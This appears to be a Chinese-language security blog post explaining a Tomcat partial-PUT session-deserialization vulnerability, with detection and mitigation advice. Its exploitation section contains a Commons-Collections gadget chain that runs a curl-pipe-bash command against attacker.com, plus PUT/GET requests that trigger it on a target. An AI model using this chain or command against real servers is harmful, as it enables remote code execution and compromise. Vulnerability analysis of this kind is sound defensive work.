大家好,本系列我将列举近期一些严重的安全漏洞解析,大家自行取用。
关注安全漏洞,防止安全问题!
一、漏洞技术原理
该漏洞是Apache Tomcat在处理分块上传文件(Partial PUT)与会话持久化机制时产生的逻辑耦合漏洞。
其中包含以下三个技术环节:
1. 临时文件路径构造缺陷
Tomcat在处理带有`Content-Range`头的PUT请求时,会将上传内容存储在`work/catalina/localhost/root`目录下。
关键缺陷在于路径分隔符`/`被替换为`.`(例如请求路径`/evil/session`会生成`.evil.session`临时文件),且未对转换后的文件名进行合法性校验。这使得攻击者可能通过构造特殊路径(如`../../conf/web.xml`)覆盖敏感文件。
2. 会话持久化机制触发反序列化
当Tomcat配置了`PersistentManager`(需手动启用)且使用默认的`FileStore`会话存储时,系统会将序列化的`HttpSession`对象保存为`.session`文件。
若攻击者上传的临时文件与`.session`文件路径重叠(默认存储路径同为`work`目录),且通过`jsessionid=.xxxx`的Cookie触发会话加载,Tomcat会自动反序列化恶意文件内容。
3. 利用链依赖条件触发漏洞
漏洞利用需同时满足以下条件:
- DefaultServlet写入权限(需在`web.xml`中显式设置`<param-name>readonly</param-name>`为`false`)
- 存在反序列化利用链(如`commons-collections 3.2.1`的`InvokerTransformer`类)
- Partial PUT支持(默认开启,允许分块上传未完整文件)
Tomcat的 DefaultServlet 负责处理静态资源请求,其处理PUT请求的逻辑如下:
请求解析:
当收到PUT请求时, DefaultServlet 调用 doPut() 方法,根据 Content-Range 头判断是否为分块上传。
临时文件生成:
若请求包含 Content-Range: bytes x-y/z 且 z > (y-x+1) (即声明总长度大于实际数据长度),Tomcat会在 work 目录下创建临时文件,文件名通过以下逻辑生成:
```java
// org.apache.catalina.servlets.DefaultServlet#generateTempFileName
String requestPath = getRelativePath(request); // 获取请求路径
String safeName = requestPath.replace('/', '.'); // 路径分隔符替换为点
File tempFile = new File(tempDir, safeName + ".tmp"); // 存储为临时文件```
关键缺陷:
未对 safeName 进行路径遍历校验(如 ../../ ),导致攻击者可通过恶意路径注入覆盖系统文件。
二、漏洞利用步骤与代码实现
漏洞的攻击流程如下:
1. 构造恶意序列化Payload
2. 通过PUT请求上传至临时目录
3. 触发会话反序列化
4. 执行系统命令
关键代码实现:
```java
// 生成Commons-Collections反序列化链(以执行命令为例)
Transformer transformers = new Transformer{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class{String.class, Class.class},
new Object{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class{Object.class, Object.class},
new Object{null, null}),
new InvokerTransformer("exec",
new Class{String.class},
new Object{"curl http://attacker.com/shell.sh | bash"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "trigger");
BadAttributeValueExpException payload = new BadAttributeValueExpException(null);
// 通过反射注入恶意对象
Field valField = payload.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(payload, entry);
// 发送恶意PUT请求(示例使用Apache HttpClient)
CloseableHttpClient client = HttpClients.createDefault();
HttpPut put = new HttpPut("http://target:8080/evil/session");
put.setHeader("Content-Range", "bytes 0-2787/4200"); // 必须大于实际数据长度
put.setEntity(new ByteArrayEntity(serialize(payload))); // serialize为自定义序列化方法
client.execute(put);
// 触发反序列化
HttpGet get = new HttpGet("http://target:8080/");
get.setHeader("Cookie", "jsessionid=.evil");
client.execute(get);```
技术细节说明:
- Content-Range头欺骗:通过设置`Content-Range: bytes 0-2787/4200`(分母值大于实际长度),Tomcat会认为文件上传未完成,从而生成临时文件。
- 路径污染:生成的`.evil.session`文件与`PersistentManager`的会话存储路径重叠,导致后续会话加载时触发反序列化。
三、漏洞分析与检测方法
1. 配置检查
- 检查`conf/web.xml`中`DefaultServlet`的`readonly`参数是否为`false`
- 确认`context.xml`是否包含`PersistentManager`和`FileStore`配置
- 使用`grep -R "PersistentManager" $CATALINA_HOME/conf`快速定位危险配置
2. 依赖库扫描
检测类路径下是否存在高风险库:
bash
find $CATALINA_BASE/webapps/ -name "commons-collections*.jar"
3. 动态行为监控
- 监控`work/catalina/localhost/root`目录的文件创建事件
- 抓取包含异常`Content-Range`头(如`bytes 0-1000/2000`)的PUT请求
四、防御与优化方案
1. 官方修复方案(优先级最高)
升级至以下版本:
- Tomcat 9.0.99+:禁用路径分隔符替换逻辑,增加会话文件签名验证
- Tomcat 10.1.35+:分离临时文件与会话存储目录,默认禁用Partial PUT
2. 临时缓解措施
```xml
<servlet-name>default</servlet-name>
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
<Store className="org.apache.catalina.session.FileStore"
directory="/opt/tomcat/safe_sessions"/>
</Manager>```
3. 纵深防御体系
反序列化过滤:
启用JEP 290机制限制反序列化类:
bash
JAVA_OPTS="-Djdk.serialFilter=!org.apache.commons.collections.functors.*"
WAF规则:
拦截特征请求:
regex
(Content-Range:\sbytes\s\d+-\d+/\\d+)|(jsessionid=\.\w+)
运行时防护(RASP)
监控`ObjectInputStream.readObject()`调用,阻断`PersistentManager`加载可疑会话文件
五、延伸思考:中间件安全设计
1. 默认安全原则
Tomcat默认关闭`readonly`功能的做法体现了最小暴露原则,但Partial PUT的默认开启仍存在风险,建议中间件厂商对高危功能采用显式启用机制。
2. 供应链安全
企业应建立组件SBOM清单,对`commons-collections`等高风险库实施版本白名单控制,例如,通过Maven插件自动检测:
```xml
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.4</version> <!-- 使用安全版本 -->
```
3. 攻击面可视化
开发自动化工具扫描Tomcat实例,检测以下特征:
快速检测脚本:
grep -R "PersistentManager" $CATALINA_HOME/conf
ls $CATALINA_BASE/webapps/*/WEB-INF/lib/commons-collections-3*.jar
领取专属 10元无门槛券
私享最新 技术干货